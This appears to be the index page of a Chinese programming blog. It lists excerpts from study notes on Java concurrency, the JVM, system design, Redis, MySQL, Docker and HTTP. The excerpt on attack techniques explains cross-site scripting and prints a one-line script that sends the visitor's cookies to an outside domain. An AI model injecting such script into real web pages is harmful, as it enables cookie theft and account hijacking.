• 极客专栏正式上线!欢迎访问 https://www.jikewenku.com/topic.html
  • 极客专栏正式上线!欢迎访问 https://www.jikewenku.com/topic.html

每天更新原创技术文章及教程,欢迎关注!

对锁的一些认知

对锁的一些认知
同一进程重入锁使用 ReentrantLock 获取锁的时候会会判断当前线程是否为获取锁的线程,如果是则将同步的状态 +1 ,释放锁的时候则将状态 -1。只有将同步状态的次数置为 0 的时候才会最终释放锁。读写锁使用 ReentrantReadWriteLock ,同时维护一对锁:读锁和写锁。当写线程访问时则其他所有锁都将阻塞,读线程访问时则不会。通……继续阅读 »

Geekerstar 9个月前 (08-07) 327浏览 0评论0个赞

Java 运行时的内存划分

Java 运行时的内存划分
Java 运行时的内存划分程序计数器记录当前线程所执行的字节码行号,用于获取下一条执行的字节码。当多线程运行时,每个线程切换后需要知道上一次所运行的状态、位置。由此也可以看出程序计数器是每个线程私有的。虚拟机栈虚拟机栈由一个一个的栈帧组成,栈帧是在每一个方法调用时产生的。每一个栈帧由局部变量区、操作数栈等组成。每创建一个栈帧压栈,当一个方法执行……继续阅读 »

Geekerstar 9个月前 (08-07) 403浏览 0评论0个赞

类加载机制

类加载机制
双亲委派模型模型如下图:双亲委派模型中除了启动类加载器之外其余都需要有自己的父类加载器当一个类收到了类加载请求时: 自己不会首先加载,而是委派给父加载器进行加载,每个层次的加载器都是这样。所以最终每个加载请求都会经过启动类加载器。只有当父类加载返回不能加载时子加载器才会进行加载。双亲委派的好处 : 由于每个类加载都会经过最顶层的启动类加载器,比如……继续阅读 »

Geekerstar 9个月前 (08-07) 315浏览 0评论0个赞

如何设计一个秒杀系统

如何设计一个秒杀系统
如何设计一个秒杀系统具体实现参考 秒杀架构实践主要做到以下两点:尽量将请求过滤在上游。尽可能的利用缓存(大多数场景下都是查多于写)。常用的系统分层结构:针对于浏览器端,可以使用 JS 进行请求过滤,比如五秒钟之类只能点一次抢购按钮,五秒钟只能允许请求一次后端服务。(APP 同理)这样其实就可以过滤掉大部分普通用户。但是防不住直接抓包循环……继续阅读 »

Geekerstar 9个月前 (08-05) 305浏览 0评论0个赞

编码实践之重构

编码实践之重构
一、第一个案例如果你发现自己需要为程序添加一个特性,而代码结构使你无法很方便地达成目的,那就先重构这个程序。在重构前,需要先构建好可靠的测试环境,确保安全地重构。重构需要以微小的步伐修改程序,如果重构过程发生错误,很容易就能发现错误。案例分析影片出租店应用程序,需要计算每位顾客的消费金额。包括三个类:Movie、Rental 和 Customer……继续阅读 »

多啦H梦 9个月前 (08-03) 238浏览 0评论0个赞

构建工具学习笔记

构建工具学习笔记
一、什么是构建工具构建工具是用于构建项目的自动化工具,主要包含以下工作:依赖管理不再需要手动导入 Jar 依赖包,并且可以自动处理依赖关系,也就是说某个依赖如果依赖于其它依赖,构建工具可以帮助我们自动处理这种依赖管理。运行单元测试不再需要在项目代码中添加测试代码,从而污染项目代码。将源代码转化为可执行文件包含预处理、编译、汇编、链接等步骤。将……继续阅读 »

多啦H梦 9个月前 (08-02) 323浏览 0评论0个赞

Docker学习笔记

Docker学习笔记
一、解决的问题由于不同的机器有不同的操作系统,以及不同的库和组件,在将一个应用部署到多台机器上需要进行大量的环境配置操作。Docker 主要解决环境配置问题,它是一种虚拟化技术,对进程进行隔离,被隔离的进程独立于宿主操作系统和其它隔离的进程。使用 Docker 可以不修改应用程序代码,不需要开发人员学习特定环境下的技术,就能够将现有的应用程序部署在其他机……继续阅读 »

多啦H梦 9个月前 (08-02) 383浏览 0评论0个赞

系统设计学习笔记之消息队列

系统设计学习笔记之消息队列
一、消息模型点对点消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。发布/订阅消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。发布与订阅模式和观察者模式有以下不同:观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。观察……继续阅读 »

多啦H梦 9个月前 (08-02) 272浏览 0评论0个赞

系统设计学习笔记之缓存

系统设计学习笔记之缓存
一、缓存特征命中率当某个请求能够通过访问缓存而得到响应时,称为缓存命中。缓存命中率越高,缓存的利用率也就越高。最大空间缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。淘汰策略FIFO(First In First Out):先进先出策略……继续阅读 »

多啦H梦 9个月前 (08-02) 311浏览 0评论0个赞

系统设计学习笔记之攻击技术

系统设计学习笔记之攻击技术
一、跨站脚本攻击概念跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。例如有一个论坛网站,攻击者可以在上面发布以下内容:location.href="//domain.com/?c=" + document.cookie……继续阅读 »

多啦H梦 9个月前 (08-02) 243浏览 0评论0个赞

系统设计学习笔记之分布式

系统设计学习笔记之分布式
一、分布式锁在单机场景下,可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下,需要同步的进程可能位于不同的节点上,那么就需要使用分布式锁。阻塞锁通常使用互斥量来实现:互斥量为 1 表示有其它进程在使用锁,此时处于锁定状态;互斥量为 0 表示未锁定状态。1 和 0 可以用一个整型值表示,也可以用某个数据存在或者不存在表示,存在表示……继续阅读 »

多啦H梦 9个月前 (08-02) 344浏览 0评论0个赞

系统设计学习笔记之系统设计基础

系统设计学习笔记之系统设计基础
一、性能性能指标1. 响应时间指从某个请求发出到接收到响应消耗的时间。在对响应时间进行测试时,通常采用重复请求方式,然后计算平均响应时间。2. 吞吐量指系统在单位时间内可以处理的请求数量,通常使用每秒的请求数来衡量。3. 并发用户数指系统能同时处理的并发用户请求数量。在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系……继续阅读 »

多啦H梦 9个月前 (08-02) 268浏览 0评论0个赞

系统设计学习笔记之集群

系统设计学习笔记之集群
一、负载均衡集群中的应用服务器通常被设计成无状态,用户可以请求任何一个节点(应用服务器)。负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。负载均衡器可以用来实现高可用以及伸缩性:高可用:当某个节点故障时,负载均衡器不会将用户请求转发到该节点上,从而保证所有服务持续可用;伸缩性:可以很容易地添加移除节点。负载均衡运行过程……继续阅读 »

多啦H梦 9个月前 (08-02) 261浏览 0评论0个赞

HTTP学习笔记

HTTP学习笔记
一、基础概念Web 基础– HTTP(HyperText Transfer Protocol,超文本传输协议)。– WWW(World Wide Web)的三种技术:HTML、HTTP、URL。– RFC(Request for Comments,征求修正意见书),互联网的设计文档。URL– URI……继续阅读 »

多啦H梦 9个月前 (08-01) 261浏览 0评论0个赞

Socket学习笔记

Socket学习笔记
一、I/O 模型一个输入操作通常包括两个阶段:等待数据准备好从内核向进程复制数据对于一个套接字上的输入操作,第一步通常涉及等待数据从网络中到达。当所等待分组到达时,它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。Unix 下有五种 I/O 模型:阻塞式 I/O非阻塞式 I/OI/O 复用(select 和……继续阅读 »

多啦H梦 9个月前 (08-01) 351浏览 0评论0个赞

Redis学习笔记

Redis学习笔记
一、概述Redis 是速度非常快的非关系型(NoSQL)内存键值数据库,可以存储键和五种不同类型的值之间的映射。键的类型只能为字符串,值支持的五种类型数据类型为:字符串、列表、集合、有序集合、散列表。Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。二、数据类型What Redis data ……继续阅读 »

多啦H梦 9个月前 (07-26) 249浏览 0评论0个赞

MySQL学习笔记

MySQL学习笔记
一、存储引擎InnoDBInnoDB 是 MySQL 默认的事务型存储引擎,只有在需要 InnoDB 不支持的特性时,才考虑使用其它存储引擎。实现了四个标准的隔离级别,默认级别是可重复读(REPEATABLE READ)。在可重复读隔离级别下,通过多版本并发控制(MVCC)+ 间隙锁(next-key locking)防止幻影读。主索引是聚簇索引,在……继续阅读 »

多啦H梦 9个月前 (07-26) 666浏览 0评论1个赞

SQL学习笔记

SQL学习笔记
一、基础模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有模式。主键的值不允许修改,也不允许复用(不能使用已经删除的主键值赋给新数据行的主键)。SQL(Structured Query Language),标准 SQL 由 ANSI 标准委员会管理,从而称为 ANSI SQL。各个 DBMS 都有自己的实现,如 PL/SQL……继续阅读 »

多啦H梦 9个月前 (07-26) 495浏览 0评论0个赞

数据库系统原理学习笔记

数据库系统原理学习笔记
一、事务概念事务指的是满足 ACID 特性的一组操作,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。ACID1. 原子性(Atomicity)事务被视为不可分割的最小单元,事务的所有操作要么全部提交成功,要么全部失败回滚。回滚可以用日志来实现,日志记录着事务所执行的修改操作,在回滚时反向执行这些修改操作即可。2……继续阅读 »

多啦H梦 9个月前 (07-26) 537浏览 0评论1个赞

如何才能提高系统的并发能力?

如何才能提高系统的并发能力?
为了提高系统的并发访问能力,突破并发访问的瓶颈,首先的web应用服务器可以横向扩展,增加应用服务器的集群量。如果在应用服务器扩展的情况下,还不能够有效缓解,我们会查询并发访问的性能瓶颈在哪里?是数据库瓶颈还是文件io瓶颈或者是网络带宽瓶颈?如果是数据库瓶颈,我们会进一步的检测是读瓶颈还是写瓶颈。如果是读密集型,而写很少,我们会采用数据库读写分离技术。……继续阅读 »

多啦H梦 9个月前 (07-24) 241浏览 0评论0个赞

Java并发编程与高并发学习笔记(四)JAVA内存模型、并发的优势与风险

Java并发编程与高并发学习笔记(四)JAVA内存模型、并发的优势与风险
Java内存模型(Java Memory Model,JMM)Java内存模型即Java Memory Model,简称JMM。JMM定义了Java 虚拟机(JVM)在计算机内存(RAM)中的工作方式。它规定了一个线程如何和何时可以看到由其他线程修改过后的共享变量的值,以及在必须时如何同步地访问共享变量。JVM对Java内存模型的实现在JVM内部……继续阅读 »

极客文库 9个月前 (07-22) 262浏览 0评论0个赞

Java并发编程与高并发学习笔记(三)CPU多级缓存-乱序执行优化

Java并发编程与高并发学习笔记(三)CPU多级缓存-乱序执行优化
CPU多级缓存-乱序执行优化处理器或编译器为提高运算速度而做出违背代码原有顺序的优化。重排序遵循原则as-if-serialas-if-serial语义:不管怎么重排序(编译器和处理器为了提高并行度),(单线程)程序的执行结果不会改变。编译器、runtime和处理器都必须遵守as-if-serial语义。为了遵守as-if-serial语义,编译器……继续阅读 »

极客文库 9个月前 (07-22) 295浏览 0评论0个赞

Java并发编程与高并发学习笔记(二)CPU多级缓存-缓存一致性协议

Java并发编程与高并发学习笔记(二)CPU多级缓存-缓存一致性协议
CPU多级缓存下图左边是最简单的高速缓存的配置,数据读取与存储都会经过高级缓存,CPU与高级缓存之间有一条特殊的快速通道,主存与高速缓存都连接在系统总线上。高速缓存出现后,系统变得更加复杂,高速缓存与主存之间的速度差异被拉大,直到加入了另一级的缓存,新加入的缓存比第一级缓存更大更慢,由于加大一级缓存的做法在经济上是行不通的,所以有了二级缓存,甚至三级缓存……继续阅读 »

极客文库 9个月前 (07-22) 285浏览 0评论0个赞

Java并发编程与高并发学习笔记(一)基本概念总结

Java并发编程与高并发学习笔记(一)基本概念总结
基本概念并发同时拥有两个或者多个线程,如果程序在单核处理器上运行,多个线程将交替地换入或换出内存,这些线程是同时“存在”的,每个线程都处于执行过程中的某个状态,如果运行在多核处理器上,此时,程序中的每个线程都将分配到一个处理器核上,因此可以同时运行。高并发高并发(High Concurrency)是互联网分布式系统架构设计中必须考虑的因素之一,它通常……继续阅读 »

极客文库 9个月前 (07-22) 517浏览 0评论0个赞

  • 精品技术教程
  • 编程资源分享
  • 问答交流社区
  • 极客文库知识库

客服QQ


QQ:2248886839


工作时间:09:00-23:00